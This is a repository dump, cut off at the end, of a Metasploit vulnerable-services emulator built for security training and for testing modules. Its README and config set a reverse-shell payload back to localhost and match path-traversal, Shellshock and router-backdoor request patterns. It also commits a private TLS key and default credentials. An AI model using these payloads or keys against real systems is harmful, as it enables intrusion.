├── .dockerignore ├── Dockerfile ├── README.md ├── certs ├── server-cert.pem └── server-key.pem ├── cortex.yaml ├── secret.txt ├── service.cfg ├── userFuncs.pl ├── userpass.lst └── vulEmu.pl /.dockerignore: -------------------------------------------------------------------------------- 1 | .git 2 | .gitignore 3 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM debian:9.2 2 | 3 | LABEL maintainer "opsxcq@strm.sh" 4 | 5 | RUN apt-get update && \ 6 | DEBIAN_FRONTEND=noninteractive apt-get install -y \ 7 | perl \ 8 | libjson-perl \ 9 | libio-socket-ssl-perl \ 10 | libtry-tiny-perl \ 11 | libio-compress-perl \ 12 | libclass-std-storable-perl \ 13 | sed \ 14 | && \ 15 | apt-get clean && \ 16 | rm -rf /var/lib/apt/lists/* 17 | 18 | RUN mkdir /emulator 19 | WORKDIR /emulator 20 | COPY . /emulator/ 21 | RUN sed -i 's/127.0.0.1/0.0.0.0/' /emulator/vulEmu.pl 22 | 23 | # Ports described in service.cfg 24 | EXPOSE 20 25 | EXPOSE 21 26 | EXPOSE 80 27 | EXPOSE 443 28 | EXPOSE 4848 29 | EXPOSE 6000 30 | EXPOSE 6060 31 | EXPOSE 7000 32 | EXPOSE 7181 33 | EXPOSE 7547 34 | EXPOSE 8000 35 | EXPOSE 8008 36 | EXPOSE 8020 37 | EXPOSE 8080 38 | EXPOSE 8400 39 | 40 | ENTRYPOINT ["perl"] 41 | CMD ["vulEmu.pl"] 42 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Metasploit Vulnerable Services Emulator 2 | 3 | Many IT professionals and engineers want to learn security because it's such a hot field right now. There are many free tools 4 | out there, one of the most famous is Metasploit. An obvious route to teach oneself about security is to download Metasploit and 5 | play with it. However, without vulnerable services to test again, it's hard to play with Metasploit. 6 | 7 | The tool is created to emulate vulnerable services for the purpose of 8 | * test Metasploit modules. 9 | * help with training on Metasploit. 10 | 11 | It runs on Linux (Ubuntu), windows platform (hopefully Mac OSX). Currently it supports over 100 emulated vulnerable services, 12 | we will keep adding more to cover as many of the 1000+ modules in Metasploit as possible. 13 | 14 | # Key feature 15 | 16 | To make it easy to add a new emulated service, we have designed it to be language independent: the service emulation is 17 | in JSON format, one can add/remove/edit a service in JSON very quickly 18 | 19 | A minor but interesting feature is that we make it easy to create SSL socket, all TCP sockets can automatically upgrade to SSL. 20 | 21 | # Quick run 22 | 23 | Note that the commands typed on the shell session spawned are actually executed on the target, so please run this emulator in a safe environment if you don't want it to be owned :-) 24 | 25 | You may have to install the following packages depending on your environment: IO::Socket::SSL Try::Tiny IO::Compress::Gzip Compress::Zlib Storable. 26 | On my Ubuntu, they can be installed as 27 | ``` 28 | sudo cpanm install IO::Socket::SSL Try::Tiny IO::Compress::Gzip Compress::Zlib Storable JSON 29 | ``` 30 | 31 | On vulnerability Emulator: 32 | ``` 33 | perl vulEmu.pl 34 | >>activate exploits/windows/iis/ms01_023_printer 35 | 36 | ``` 37 | on Metasploit console: 38 | ``` 39 | msf > use exploit/windows/iis/ms01_023_printer 40 | msf > set payload windows/shell_reverse_tcp 41 | msf > setg RHOST 127.0.0.1 42 | msf > setg LHOST 127.0.0.1 43 | msf exploit(ms01_023_printer) > run 44 | 45 | [*] Started reverse TCP handler on 127.0.0.1:4444 46 | [*] Command shell session 4 opened (127.0.0.1:4444 -> 127.0.0.1:51852) at 2017-01-20 10:47:12 -0600 47 | 48 | >>ls 49 | README.md 50 | secret.txt 51 | server_cert.pem 52 | server_key.pem 53 | service.cfg 54 | vulEmu.pl 55 | 56 | ``` 57 | 58 | # Run it with Docker 59 | 60 | If you want to run the above example in a container environment with docker, just run: 61 | 62 | ``` 63 | docker run --rm -it -p 80:80 vulnerables/metasploit-vulnerability-emulator 64 | ``` 65 | 66 | Then you will be presented to the very same shell, if you don't have docker installed, just follow the instructions [here](https://docker.com). 67 | 68 | Remember, you have to map the port that you want addding a `-p external-port:internal-port` argument. To map all ports present in service.cfg, please run this command: 69 | 70 | ``` 71 | docker run --rm -it \ 72 | -p 20:20 -p 21:21 -p 80:80 -p 443:443 -p 4848:4848 \ 73 | -p 6000:6000 -p 6060:6060 -p 7000:7000 -p 7181:7181 \ 74 | -p 7547:7547 -p 8000:8000 -p 8008:8008 -p 8020:8020 \ 75 | -p 8080:8080 -p 8400:8400 \ 76 | vulnerables/metasploit-vulnerability-emulator 77 | ``` 78 | 79 | # Developer overview 80 | 81 | 82 | The software has two parts 83 | 84 | * Server/service emulation description file in JSON (service.cfg) 85 | * Interpreter (currently implemented in perl, but it can be done with other languages too) 86 | 87 | Here is a quick example from part of the service emulation description file, for the Metasploit module exploit/multi/http/tomcat_mgr_deploy. 88 | 89 | 90 | ``` 91 | "exploit/multi/http/tomcat_mgr_deploy" : { 92 | "defaultPort": [80], 93 | "seq": [ 94 | ["substr", "GET \/manager\/serverinfo"], 95 | ["HTTP/1.0 200 OK\r\nContent-Length: $\r\n\r\n", "!!OS Name: Linux\nOS Architecture: x86_64"], 96 | ["starts", "PUT /manager/deploy?path="], 97 | ["HTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n", { 98 | "connect": "127.0.0.1:4444" 99 | }] 100 | ] 101 | }, 102 | ``` 103 | 104 | The most important part is the "seq" array. it always has even number of entries. When a message is received, it's compared 105 | to the entries 0, 2, 4 ... Once a match is found, it will execute the entry immediately after it. For example, if an entry 106 | matches with entry 2, it will execute the statements in entry 3. 107 | 108 | The matching entries have the matching actions such as 109 | 110 | * **substr**: do a substring match 111 | * **regex**: do a regular expression match 112 | * **starts**: check if incoming message starts with the string in the entry 113 | 114 | The execution entry itself can have multiple entries. Each entry can be just a string, an array or dictionary. strings and arrays 115 | are used to build the response message (by concatentation). For an array, it has a few elements, the first element is action type, 116 | such as 117 | 118 | * **repeat**: return a string after repeating the string (second element) by the certain number of times specified by the third element. 119 | * **nsize**: return the size of the element 120 | * **gzip**: return the gzipped content 121 | 122 | It can also do compacting of string into binary data, such as ["N", 123] which will compact the number 123 into big-endean 123 | 4-byte integer. 124 | -------------------------------------------------------------------------------- /certs/server-cert.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIICxjCCAi+gAwIBAgIJAJWvuplHNQEOMA0GCSqGSIb3DQEBCwUAMHwxCzAJBgNV 3 | BAYTAlVTMQ4wDAYDVQQIDAVUZXhhczEPMA0GA1UEBwwGQXVzdGluMRQwEgYDVQQK 4 | DAtFbmdpbmVlcmluZzEMMAoGA1UECwwDTVNGMSgwJgYDVQQDDB9wZXJmdGVzdC5l 5 | bmdpbmVlcmluZy5yYXBpZDcuY29tMB4XDTE2MTEyMjE3NTQwN1oXDTI2MTEyMDE3 6 | NTQwN1owfDELMAkGA1UEBhMCVVMxDjAMBgNVBAgMBVRleGFzMQ8wDQYDVQQHDAZB 7 | dXN0aW4xFDASBgNVBAoMC0VuZ2luZWVyaW5nMQwwCgYDVQQLDANNU0YxKDAmBgNV 8 | BAMMH3BlcmZ0ZXN0LmVuZ2luZWVyaW5nLnJhcGlkNy5jb20wgZ8wDQYJKoZIhvcN 9 | AQEBBQADgY0AMIGJAoGBAMlBPzitYRxOIsH7IiYHXNHNki5AJa8vgNAydZLb57bQ 10 | wxas8O+YCg+0diyeO5o5Y4uavrY7OarGvJ+Ne7IrVQMgSOvC46Lzo5jNKfl069lm 11 | mdTYTsT3TPEXQfzODbxirOtyFu3thVqnWfu8UKG1PZsfUgl0SDlk6RMVtQfH5ZBl 12 | AgMBAAGjUDBOMB0GA1UdDgQWBBS85+SIfwr2u8CRzAWyTVfiiFXfwzAfBgNVHSME 13 | GDAWgBS85+SIfwr2u8CRzAWyTVfiiFXfwzAMBgNVHRMEBTADAQH/MA0GCSqGSIb3 14 | DQEBCwUAA4GBAAj9GsVOr65N+Q2kH8ljfnPte/nscHhkXMcjSANEbsFhu3AgoVsJ 15 | uZKb3eTRqcDy9w2m3f5xFNIU0cxS4lXxBWQ0lJMygiH5UJC7gQjVYxhjr4/4Pn2S 16 | mMgAgOKhst+os+iU5m/uwTA+v2o5RrCUBCuOzdJjK3X/dIi3Byt7h8qx 17 | -----END CERTIFICATE----- 18 | -------------------------------------------------------------------------------- /certs/server-key.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN RSA PRIVATE KEY----- 2 | MIICXAIBAAKBgQDJQT84rWEcTiLB+yImB1zRzZIuQCWvL4DQMnWS2+e20MMWrPDv 3 | mAoPtHYsnjuaOWOLmr62OzmqxryfjXuyK1UDIEjrwuOi86OYzSn5dOvZZpnU2E7E 4 | 90zxF0H8zg28Yqzrchbt7YVap1n7vFChtT2bH1IJdEg5ZOkTFbUHx+WQZQIDAQAB 5 | AoGBAMiPlFCIQDG0EGFeQw7A4ZhXlCkxVhy6a1WQI6liKw3+B50uZcFvs/8oqWgX 6 | nHA6ZuC2Kv5yESsGeO1MUwwgsMrzRq6xGh77yVWw323RZ+z2qri0Lf8Unl13MCz/ 7 | CGCyXxiEDDjPybf40G/8KIBjJCivHBlqV2OdaVoBuUKRBeX1AkEA5r7GcCLZbkAH 8 | l6KQWzFt5DecvML4B3rvPhpZJY0sFFpDZHYFZ0Mch3fG27wNG/KTM//H6dhNGQG6 9 | Gwc1U05T7wJBAN9IL2HPNRwKqJbe2EGWtcELm50Z96C6C7RDkwas9ZiZJR5n6pMM 10 | 9IerA5GluB3eAUU1ebhffeYS4dLgksVVvOsCQHsOjPeqrjiM7z+gE8p+jvOh8PX+ 11 | KJacqlB9bsOHCVYFWWGPS4xpjyJz71qqbHdWI8kchPoiP+OxNxZI/thhsoMCQGR2 12 | 5lrsEMl9Qj4gJs3cMguaXXpipLj8/ScvAIiQajEvNzRnLXTc72nb2M8/8Yf+zDOH 13 | zCzZSpyrAlEQGvoPieECQAK/LrtRta8FJhGexa4J7kwUgn3PZOLwBuowO42ZGzUp 14 | Zcq7FKW+IxR3+hbbtrq8TtxK2yNEa769SqepDvxuNxc= 15 | -----END RSA PRIVATE KEY----- 16 | -------------------------------------------------------------------------------- /cortex.yaml: -------------------------------------------------------------------------------- 1 | --- 2 | info: 3 | title: Metasploit Vulnerability Emulator 4 | description: Created by Jin Qian via the GitHub Connector 5 | x-cortex-git: 6 | github: 7 | alias: r7org 8 | repository: rapid7/metasploit-vulnerability-emulator 9 | x-cortex-tag: metasploit-vulnerability-emulator 10 | x-cortex-type: service 11 | x-cortex-domain-parents: 12 | - tag: metasploit 13 | openapi: 3.0.1 14 | servers: 15 | - url: "/" 16 | -------------------------------------------------------------------------------- /secret.txt: -------------------------------------------------------------------------------- 1 | hello yall! 2 | -------------------------------------------------------------------------------- /service.cfg: -------------------------------------------------------------------------------- 1 | { 2 | "auxiliary/scanner/ftp/anonymous": { 3 | "initMsg": ["220 Welcome to ftp server\r\n"], 4 | "defaultPort": [21, 20], 5 | "seq": [ 6 | ["starts", "USER "], 7 | ["331 Need password\r\n"], 8 | ["starts", "PASS "], 9 | ["200 Logged in\r\n"], 10 | ["starts", "PASV"], 11 | ["227 Entering Passive Mode (127,0,0,1,0,20)\r\n"], 12 | ["regex", "^(LIST|STOR|RETR)"], 13 | ["150 Ready\r\n", ["action", ["sendFile", "secret.txt"], ["send", "200 transfer completed\r\n"]]], 14 | ["any"], 15 | ["200 Success!\r\n"] 16 | ] 17 | }, 18 | "auxiliary/scanner/ftp/konica_ftp_traversal": { 19 | "follow": "auxiliary/scanner/ftp/anonymous", 20 | "defaultPort": [21, 20] 21 | }, 22 | "auxiliary/scanner/ftp/pcman_ftp_traversal": { 23 | "follow": "auxiliary/scanner/ftp/anonymous", 24 | "defaultPort": [21, 20] 25 | }, 26 | "auxiliary/scanner/ftp/titanftp_xcrc_traversal": { 27 | "follow": "auxiliary/scanner/ftp/anonymous", 28 | "initMsg": ["220 Welcome to titan ftp server\n"], 29 | "defaultPort": [21, 20], 30 | "seq": [ 31 | ["regex", "XCRC .*9999999999"], 32 | ["501 Syntax error in parameters or arguments. EndPos of 9999999999 is larger than file size 20.\r\n"], 33 | ["regex", "XCRC .* (\\d+)\\r\\n"], 34 | ["250 ", ["crc32", "hello world you all!!\n"], "\r\n"] 35 | ] 36 | }, 37 | "exploits/windows/iis/ms01_023_printer": { 38 | "desc": "", 39 | "extraCmds": "set payload windows/shell_reverse_tcp\r\nsetg LHOST 127.0.0.1", 40 | "defaultPort": [80], 41 | "seq": [ 42 | ["regex", "GET http:\/\/.*\/NULL.printer?"], 43 | ["HTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n", ["action", ["connect", ":4444"]]] 44 | 45 | ] 46 | }, 47 | "auxiliary/scanner/http/a10networks_ax_directory_traversal": { 48 | "defaultPort": [80], 49 | "extraCmds": "set CONFIRM_DELETE true", 50 | "seq": [ 51 | ["starts", "GET /xml/downloads/?filename="], 52 | ["HTTP/1.1 200 OK\r\nContent-Length: 11\r\n\r\nmy secrete\n"] 53 | ] 54 | }, 55 | "auxiliary/scanner/http/adobe_xml_inject": { 56 | "defaultPort": [8400], 57 | "seq": [ 58 | ["starts", "POST /flex2gateway/"], 59 | ["HTTP/1.1 200 OK\r\nContent-Length: $\r\n\r\n\n"], 60 | ["any"], 61 | ["HTTP/1.1 200 OK\r\nContent-Length: 15\r\n\r\nUnknown systax\n"] 62 | ] 63 | }, 64 | "auxiliary/scanner/http/allegro_rompager_misfortune_cookie": { 65 | "defaultPort": [80], 66 | "seq": [ 67 | ["regex", "Cookie:\\s*(\\S+)"], 68 | ["HTTP/1.1 404 Not Found\r\nSet-Cookie: SID=1234567;\r\nContent-Length: $\r\n\r\n", ["eval", "$1"]], 69 | ["starts", "GET "], 70 | ["HTTP/1.1 404 Not Found\r\nContent-Length: 0\r\n\r\n"] 71 | ] 72 | }, 73 | "auxiliary/scanner/http/apache_mod_cgi_bash_env": { 74 | "defaultPort": [80], 75 | "extraCmds": "set TARGETURI /", 76 | "seq": [ 77 | ["regex", "User-Agent: \\(\\).*echo.*\\)(.*?)\""], 78 | ["HTTP/1.1 200 OK\r\nContent-Length: $\r\n\r\n", ["eval", "$1$1$1"]] 79 | ] 80 | }, 81 | "auxiliary/scanner/http/apache_userdir_enum": { 82 | "defaultPort": [80], 83 | "seq": [ 84 | ["starts", "GET /~admin"], 85 | ["HTTP/1.1 200 OK\r\nContent-Length: 10\r\n\r\nWelcome!!!"], 86 | ["any"], 87 | ["HTTP/1.1 404 Not Found\r\nContent-Length: 10\r\n\r\nTry again!!"] 88 | ] 89 | }, 90 | "auxiliary/scanner/http/bitweaver_overlay_type_traversal": { 91 | "desc": "TODO: need to have a good content in loot", 92 | "defaultPort": [80], 93 | "seq": [ 94 | ["starts", "GET /bitweaver/gmap/view_overlay.php?overlay_type=../../../../../../../../../../etc/passwd"], 95 | ["HTTP/1.1 200 OK\r\nContent-Length: $\r\n\r\n", "Notice:\r\nadmin:pass123\njdole:letmein\n"] 96 | ] 97 | }, 98 | "auxiliary/scanner/http/bmc_trackit_passwd_reset": { 99 | "defaultPort": [80], 100 | "seq": [ 101 | ["starts", "GET /PasswordReset"], 102 | ["HTTP/1.1 200 OK\r\nContent-Length: $\r\n\r\n", "Track-It! Password Reset Build=11.3"], 103 | ["substr", "updatequesChk="], 104 | ["HTTP/1.1 200 OK\r\nContent-Length: $\r\n\r\n", "{\"success\":true,\"data\":{\"userUpdated\":true}}" ], 105 | ["substr", "newPassword="], 106 | ["HTTP/1.1 200 OK\r\nContent-Length: $\r\n\r\n", "{\"success\":true,\"data\":{\"PasswordResetStatus\":0}}"] 107 | ] 108 | }, 109 | "auxiliary/scanner/http/brute_dirs": { 110 | "defaultPort": [80], 111 | "seq": [ 112 | ["regex", "GET \\/[^\\s]{5,5}\\/ "], 113 | ["HTTP/1.1 404 Not Found\r\nContent-Length: 12\r\n\r\ngina de error"], 114 | ["starts", "GET /ab/"], 115 | ["HTTP/1.1 200 OK\r\nContent-Length: 12\r\n\r\ngina de error"], 116 | ["any"], 117 | ["HTTP/1.1 404 Not Found\r\nContent-Length: 16\r\n\r\nit's unavailable"] 118 | ] 119 | }, 120 | "auxiliary/scanner/http/canon_wireless": { 121 | "defaultPort": [80], 122 | "seq": [ 123 | ["any"], 124 | ["HTTP/1.1 200 OK\r\nContent-Length: 85\r\n\r\n", "<html><body><input name=\"LAN_OPT1\" checked=\"true\" value=\"1\">222</input></body></html>"] 125 | ] 126 | }, 127 | "auxiliary/scanner/http/caidao_bruteforce_login": { 128 | "defaultPort": [80], 129 | "seq": [ 130 | ["split", "\\\""], 131 | ["HTTP/1.1 200 OK\r\nContent-Length: $\r\n\r\n", ["eval", "$results[3]$results[1]$results[5]"]] 132 | ] 133 | }, 134 | "auxiliary/scanner/http/cisco_device_manager": { 135 | "defaultPort": [80], 136 | "seq": [ 137 | ["starts", "GET /exec/show/version/CR"], 138 | ["HTTP/1.1 200 OK\r\nContent-Length: 44\r\n\r\nCisco Internetwork Operating System Software"], 139 | ["starts", "GET /exec/show/config/CR"], 140 | ["HTTP/1.1 200 OK\r\nContent-Length: 45\r\n\r\n<FORM METHOD=\"POST\">enable password 0 ABCDEF01</FORM>"] 141 | ] 142 | }, 143 | "auxiliary/scanner/http/cisco_ios_auth_bypass": { 144 | "defaultPort": [80], 145 | "seq": [ 146 | ["regex", "GET .*version\/CR"], 147 | ["HTTP/1.1 200 OK\r\nContent-Length: 44\r\n\r\nCisco Internetwork Operating System Software"], 148 | ["regex", "GET .*config/CR"], 149 | ["HTTP/1.1 200 OK\r\nContent-Length: 45\r\n\r\n<FORM METHOD=\"POST\">some fields here!!</FORM>"] 150 | ] 151 | }, 152 | "auxiliary/scanner/http/concrete5_member_list": { 153 | "defaultPort": [80], 154 | "seq": [ 155 | ["starts", "GET /index.php/members"], 156 | ["HTTP/1.1 200 OK\r\nContent-Length: 176\r\n\r\n<div class=\"ccm-profile-member-username\">/view/123/<a href=\"profiles/123\">john</a></div><div class=\"ccm-profile-member-username\">/view/345/<a href=\"profiles/345\">mary</a></div>"] 157 | ] 158 | }, 159 | "auxiliary/scanner/http/copy_of_file": { 160 | "defaultPort": [80], 161 | "seq": [ 162 | ["any"], 163 | ["HTTP/1.1 200 OK\r\nContent-Length: 10\r\n\r\nWelcome!!!"] 164 | ] 165 | }, 166 | "auxiliary/scanner/http/clansphere_traversal": { 167 | "defaultPort": [80], 168 | "seq": [ 169 | ["any"], 170 | ["HTTP/1.1 200 OK\r\nContent-Length: 112\r\n\r\n<div id=\"bottom\">\n<div id=\"bottom\">\nall my secret1 here\n UTC <div id=\"bottom\">\nall my secret2 here\n UTC"] 171 | ] 172 | }, 173 | "auxiliary/scanner/http/coldfusion_version": { 174 | "defaultPort": [80], 175 | "seq": [ 176 | ["any"], 177 | ["HTTP/1.1 200 OK\r\nServer: IIS 10.8\r\nContent-Length: 172\r\n\r\n<title>ColdFusionAdministratorVersion:6.9
", ["repeat", " ", 100]] 178 | ] 179 | }, 180 | "auxiliary/scanner/http/coldfusion_locale_traversal": { 181 | "defaultPort": [80], 182 | "seq": [ 183 | ["any"], 184 | ["HTTP/1.1 200 OK\r\nServer: IIS 10.8\r\nContent-Length: 170\r\n\r\nColdFusionAdministratorVersion:9
", ["repeat", " ", 100]] 185 | ] 186 | }, 187 | "auxiliary/scanner/http/dir_webdav_unicode_bypass": { 188 | "defaultPort": [80], 189 | "seq": [ 190 | ["regex", "PROPFIND /.+~tracking/"], 191 | ["HTTP/1.1 207 OK\r\nContent-Length: 12\r\n\r\nhere you are"], 192 | ["starts", "PROPFIND /~"], 193 | ["HTTP/1.1 401 Not Authorized\r\nContent-Length: 8\r\n\r\nGot it!!"], 194 | ["any"], 195 | ["HTTP/1.1 200 OK\r\nContent-Length: 10\r\n\r\nWelcome!!!"] 196 | ] 197 | }, 198 | "auxiliary/scanner/http/dlink_dir_300_615_http_login": { 199 | "defaultPort": [80], 200 | "seq": [ 201 | ["substr", "LOGIN_USER=admin&LOGIN_PASSWD=admin"], 202 | ["HTTP/1.1 200 OK\r\nContent-Length: 52\r\n\r\n"], 203 | ["starts", "POST "], 204 | ["HTTP/1.1 404 Not Found\r\nContent-Length: 10\r\n\r\nWelcome!!!"], 205 | ["any"], 206 | ["HTTP/1.1 200 OK\r\nServer: Mathopd/1.5p6\r\nContent-Length: 10\r\n\r\nWelcome!!!"] 207 | ] 208 | }, 209 | "auxiliary/scanner/http/dlink_dir_615h_http_login": { 210 | "defaultPort": [80], 211 | "seq": [ 212 | ["substr", "sel_userid=admin&userid=&passwd=password"], 213 | ["HTTP/1.1 200 OK\r\nContent-Length: 61\r\n\r\n"], 214 | ["starts", "POST /"], 215 | ["HTTP/1.1 200 OK\r\nContent-Length: 10\r\n\r\nfailed!!!!"], 216 | ["starts", "GET /gconfig.htm"], 217 | ["HTTP/1.1 200 OK\r\nServer: Mathopd/1.5p6\r\nContent-Length: 28\r\n\r\nvar systemName='DLINK-DIR615"] 218 | ] 219 | }, 220 | "auxiliary/scanner/http/dlink_dir_session_cgi_http_login": { 221 | "defaultPort": [80], 222 | "seq": [ 223 | ["substr", "USER=admin&PASSWD=password"], 224 | ["HTTP/1.1 200 OK\r\nContent-Length: 24\r\n\r\nSUCCESS"], 225 | ["starts", "POST "], 226 | ["HTTP/1.1 404 Not Found\r\nContent-Length: 10\r\n\r\nfailed!!!!"], 227 | ["starts", "GET /session.cgi"], 228 | ["HTTP/1.1 200 OK\r\nServer: Linux, HTTP/1.1, DIR-111 Ver 2.9\r\nContent-Length: 28\r\n\r\nvar systemName='DLINK-DIR615"] 229 | ] 230 | }, 231 | "auxiliary/scanner/http/dlink_user_agent_backdoor": { 232 | "defaultPort": [80], 233 | "seq": [ 234 | ["substr", "xmlset_roodkcableoj28840ybtide"], 235 | ["HTTP/1.1 200 OK\r\nServer: alpha\r\nContent-Length: 21\r\n\r\nHome/bsc_internet.htm"], 236 | ["starts", "GET /"], 237 | ["HTTP/1.1 200 OK\r\nServer: alpha\r\nContent-Length: 10\r\n\r\nwelcome!!!"] 238 | ] 239 | }, 240 | "auxiliary/scanner/http/dolibarr_login": { 241 | "defaultPort": [80], 242 | "seq": [ 243 | ["starts", "POST /"], 244 | ["HTTP/1.1 200 OK\r\nContent-Length: 10\r\n\r\nwelcome!!!"], 245 | ["substr", "username=connect&password=letmein"], 246 | ["HTTP/1.1 301 Moved\r\nLocation: /retry/admin\r\nContent-Length: 10\r\n\r\nwelcome!!!"], 247 | ["starts", "GET /"], 248 | ["HTTP/1.1 200 OK\r\nSet-Cookie: DOLSESSID_G=1234;\r\nContent-Length: 41\r\n\r\ntype=\"hidden\" name=\"token\" value=\"567789\""] 249 | ] 250 | }, 251 | "auxiliary/scanner/http/drupal_views_user_enum": { 252 | "defaultPort": [80], 253 | "seq": [ 254 | ["starts", "GET /?q=admin/views/ajax/autocomplete/user/b "], 255 | ["HTTP/1.1 200 OK\r\nContent-Length: 28\r\n\r\n[\"tblack\", \"jbarry\",\"mBoys\"]"], 256 | ["starts", "GET /?q=admin/views/ajax/autocomplete/user"], 257 | ["HTTP/1.1 200 OK\r\nContent-Length: 4\r\n\r\n[ ]"] 258 | ] 259 | }, 260 | "auxiliary/scanner/http/error_sql_injection": { 261 | "defaultPort": [80], 262 | "extraCmds": "set QUERY q=123", 263 | "seq": [ 264 | ["substr", "'& HTTP/1.1\r\n"], 265 | ["HTTP/1.1 200 OK\r\nContent-Length: 50\r\n\r\nUnclosed quotation mark after the character string"], 266 | ["any"], 267 | ["HTTP/1.1 200 OK\r\nContent-Length: 10\r\n\r\nwelcome!!!"] 268 | ] 269 | }, 270 | "auxiliary/scanner/http/etherpad_duo_login": { 271 | "defaultPort": [80], 272 | "seq": [ 273 | ["substr", "Authorization: Basic cm9vdDpwYXNzd29yZA=="], 274 | ["HTTP/1.1 200 OK\r\nServer: EtherPAD\r\nContent-Length: 9\r\n\r\nHome Page"], 275 | ["substr", "Authorization: Basic"], 276 | ["HTTP/1.1 401 Authentication Needed\r\nServer: EtherPAD\r\nContent-Length: 12\r\n\r\nEtherPAD Duo"], 277 | ["any"], 278 | ["HTTP/1.1 200 OK\r\nServer: EtherPAD\r\nContent-Length: 12\r\n\r\nEtherPAD Duo"] 279 | ] 280 | }, 281 | "auxiliary/scanner/http/drupal_views_user_enum": { 282 | "defaultPort": [80], 283 | "seq": [ 284 | ["starts", "GET /?q=admin/views/ajax/autocomplete/user/b "], 285 | ["HTTP/1.1 200 OK\r\nContent-Length: 16\r\n\r\n[\"bob\", \"barry\"]"], 286 | ["starts", "GET /?q=admin/views/ajax/autocomplete/user/j "], 287 | ["HTTP/1.1 200 OK\r\nContent-Length: 15\r\n\r\n[\"john\", \"joe\"]"], 288 | ["starts", "GET /?q=admin/views/ajax/autocomplete/user/"], 289 | ["HTTP/1.1 200 OK\r\nContent-Length: 4\r\n\r\n[ ]"] 290 | ] 291 | }, 292 | "auxiliary/scanner/http/ektron_cms400net": { 293 | "defaultPort": [80], 294 | "seq": [ 295 | ["substr", "username=Admin2&password=Admin2"], 296 | ["HTTP/1.1 200 OK\r\nContent-Length: 18\r\n\r\nLoginSuceededPanel"], 297 | ["any"], 298 | ["HTTP/1.1 200 OK\r\nContent-Length: 10\r\n\r\nwelcome!!!"] 299 | ] 300 | }, 301 | "auxiliary/scanner/http/enum_wayback": { 302 | "defaultPort": [80], 303 | "seq": [ 304 | ["any"], 305 | ["HTTP/1.1 200 OK\r\nContent-Length: 10\r\n\r\nwelcome!!!"] 306 | ] 307 | }, 308 | "auxiliary/scanner/http/f5_bigip_virtual_server": { 309 | "defaultPort": [80], 310 | "seq": [ 311 | ["any"], 312 | ["HTTP/1.1 200 OK\r\nServer: BigIP\r\nContent-Length: 21\r\n\r\nBIG-IP"] 313 | ] 314 | }, 315 | "auxiliary/scanner/http/frontpage_login": { 316 | "defaultPort": [80], 317 | "seq": [ 318 | ["any"], 319 | ["HTTP/1.1 200 OK\r\nServer: frontSrv 2.3\r\nContent-Length: 43\r\n\r\nFPVersion=\"2.3\" FPAuthorScriptUrl=/tryagain"] 320 | ] 321 | }, 322 | "auxiliary/scanner/http/gitlab_login": { 323 | "defaultPort": [80], 324 | "seq": [ 325 | ["starts", "POST "], 326 | ["HTTP/1.1 302 Moved\r\nSet-Cookie: _gitlab_session=1234567;\r\nContent-Length: 41\r\n\r\n{\"username\": \"john\", \"name\": \"John Dole\"}"], 327 | ["any"], 328 | ["HTTP/1.1 200 OK\r\nSet-Cookie: _gitlab_session=1234567;\r\nContent-Length: 79\r\n\r\nuser[login] "] 329 | ] 330 | }, 331 | "auxiliary/scanner/http/gitlab_user_enum": { 332 | "defaultPort": [80], 333 | "seq": [ 334 | ["starts", "GET /api/v3/internal/discover?key_id=4 "], 335 | ["HTTP/1.1 200 OK\r\nSet-Cookie: _gitlab_session=1234567;\r\nContent-Length: 41\r\n\r\n{\"username\": \"john\", \"name\": \"John Dole\"}"], 336 | ["any"], 337 | ["HTTP/1.1 200 OK\r\nSet-Cookie: _gitlab_session=1234567;\r\nContent-Length: 47\r\n\r\n{\"gitlab_version\": \"12.3\", \"gitlab_rev\": \"223\"}"] 338 | ] 339 | }, 340 | "auxiliary/scanner/http/buffalo_login": { 341 | "defaultPort": [80], 342 | "seq": [ 343 | ["substr", "Login&user=root&password=password"], 344 | ["HTTP/1.1 200 OK\r\nContent-Length: 17\r\n\r\n{\"success\": true}"], 345 | ["any"], 346 | ["HTTP/1.1 200 OK\r\nContent-Length: 18\r\n\r\n{\"success\": false}"] 347 | ] 348 | }, 349 | "auxiliary/scanner/http/git_scanner": { 350 | "defaultPort": [80], 351 | "seq": [ 352 | ["starts", "GET /.git/index"], 353 | ["HTTP/1.1 200 OK\r\nContent-Length: 12\r\n\r\nDIRC", ["N", 12], ["N", 200]], 354 | ["starts", "GET /.git/config"], 355 | ["HTTP/1.1 200 OK\r\nContent-Length: 12\r\n\r\nDIRC[remote]"], 356 | ["any"], 357 | ["HTTP/1.1 200 OK\r\nContent-Length: 10\r\n\r\nwelcome!!!"] 358 | ] 359 | }, 360 | "auxiliary/scanner/http/goahead_traversal": { 361 | "defaultPort": [80], 362 | "seq": [ 363 | ["any"], 364 | ["HTTP/1.1 200 OK\r\nServer: GoAhead\r\nContent-Length: 10\r\n\r\nwelcome!!!"] 365 | ] 366 | }, 367 | "auxiliary/scanner/http/groupwise_agents_http_traversal": { 368 | "defaultPort": [80], 369 | "seq": [ 370 | ["any"], 371 | ["HTTP/1.1 200 OK\r\nServer: GroupWise\r\nContent-Length: 10\r\n\r\nwelcome!!!"] 372 | ] 373 | }, 374 | "auxiliary/scanner/http/host_header_injection": { 375 | "defaultPort": [80], 376 | "seq": [ 377 | ["any"], 378 | ["HTTP/1.1 200 OK\r\nContent-Length: 10\r\n\r\nevil.com!!"] 379 | ] 380 | }, 381 | "auxiliary/scanner/http/http_header": { 382 | "defaultPort": [80], 383 | "seq": [ 384 | ["starts", "HEAD / HTTP/1.1"], 385 | ["HTTP/1.1 200 OK\r\nServer: Rapid7\r\nContent-Length: 0\r\n\r\n"] 386 | ] 387 | }, 388 | "auxiliary/scanner/http/http_login": { 389 | "defaultPort": [80], 390 | "seq": [ 391 | ["substr", "Authorization: Basic YWRtaW46cGFzc3dvcmQ="], 392 | ["HTTP/1.1 200 OK\r\nContent-Length: 10\r\n\r\nwelcome!!!"], 393 | ["starts", "GET /"], 394 | ["HTTP/1.1 401 Unauthorized\r\nWWW-Authenticate: Basic realm=\"myRealm\"\r\nContent-Length: 0\r\n\r\n"] 395 | ] 396 | }, 397 | "auxiliary/scanner/http/http_put": { 398 | "defaultPort": [80], 399 | "seq": [ 400 | ["starts", "PUT /", "saveHttpBody"], 401 | ["HTTP/1.1 200 OK\r\nContent-Length: 